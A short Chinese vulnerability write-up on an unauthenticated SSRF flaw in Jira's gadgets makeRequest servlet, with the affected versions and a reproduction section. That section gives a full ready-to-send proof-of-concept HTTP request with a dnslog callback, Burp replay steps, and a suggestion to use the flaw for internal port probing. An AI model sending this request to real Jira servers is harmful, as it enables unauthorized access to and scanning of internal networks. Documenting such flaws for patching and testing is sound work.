一、簡介
JIRA是Atlassian公司出品的項目與事務跟蹤工具，被廣泛應用於缺陷跟蹤、客戶服務、需求收集、流程審批、任務跟蹤、項目跟蹤和敏捷管理等工作領域。
二、漏洞描述
Jira的/plugins/servlet/gadgets/makeRequest資源存在SSRF漏洞，原因在於JiraWhitelist這個類的邏輯缺陷，成功利用此漏洞的遠程攻擊者可以以Jira服務端的身份訪問內網資源。經分析，此漏洞無需任何憑據即可觸發。
三、漏洞影響版本
Jira < 8.4.0
此漏洞是在Jira服務器7.6.0版中引入的，並在7.13.9和8.4.0版中進行了修復
四、漏洞復現
poc：
GET /plugins/servlet/gadgets/makeRequest?url=http://xx.xx.xx.xx:8080@i9h5p6.dnslog.cn HTTP/1.1 Host: xx.xx.xx.xx:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Referer: http://xx.xx.xx.xx:8080/secure/Dashboard.jspa X-Atlassian-Token: no-check Content-Length: 0
1、訪問url,burp抓包，將數據包替換為如上Poc，其中ip替換為目標ip，共三處，dnslog地址也需要換成自己的dnslog,發包發現成功執行
2、在dnslog平台查看
3、如果訪問未開放端口，結果如下，可以利用ssrf進行端口探測
------------------------------------------------------------------------------------------
參考:
https://www.cnblogs.com/backlion/p/11608371.html
https://zhuanlan.zhihu.com/p/113333332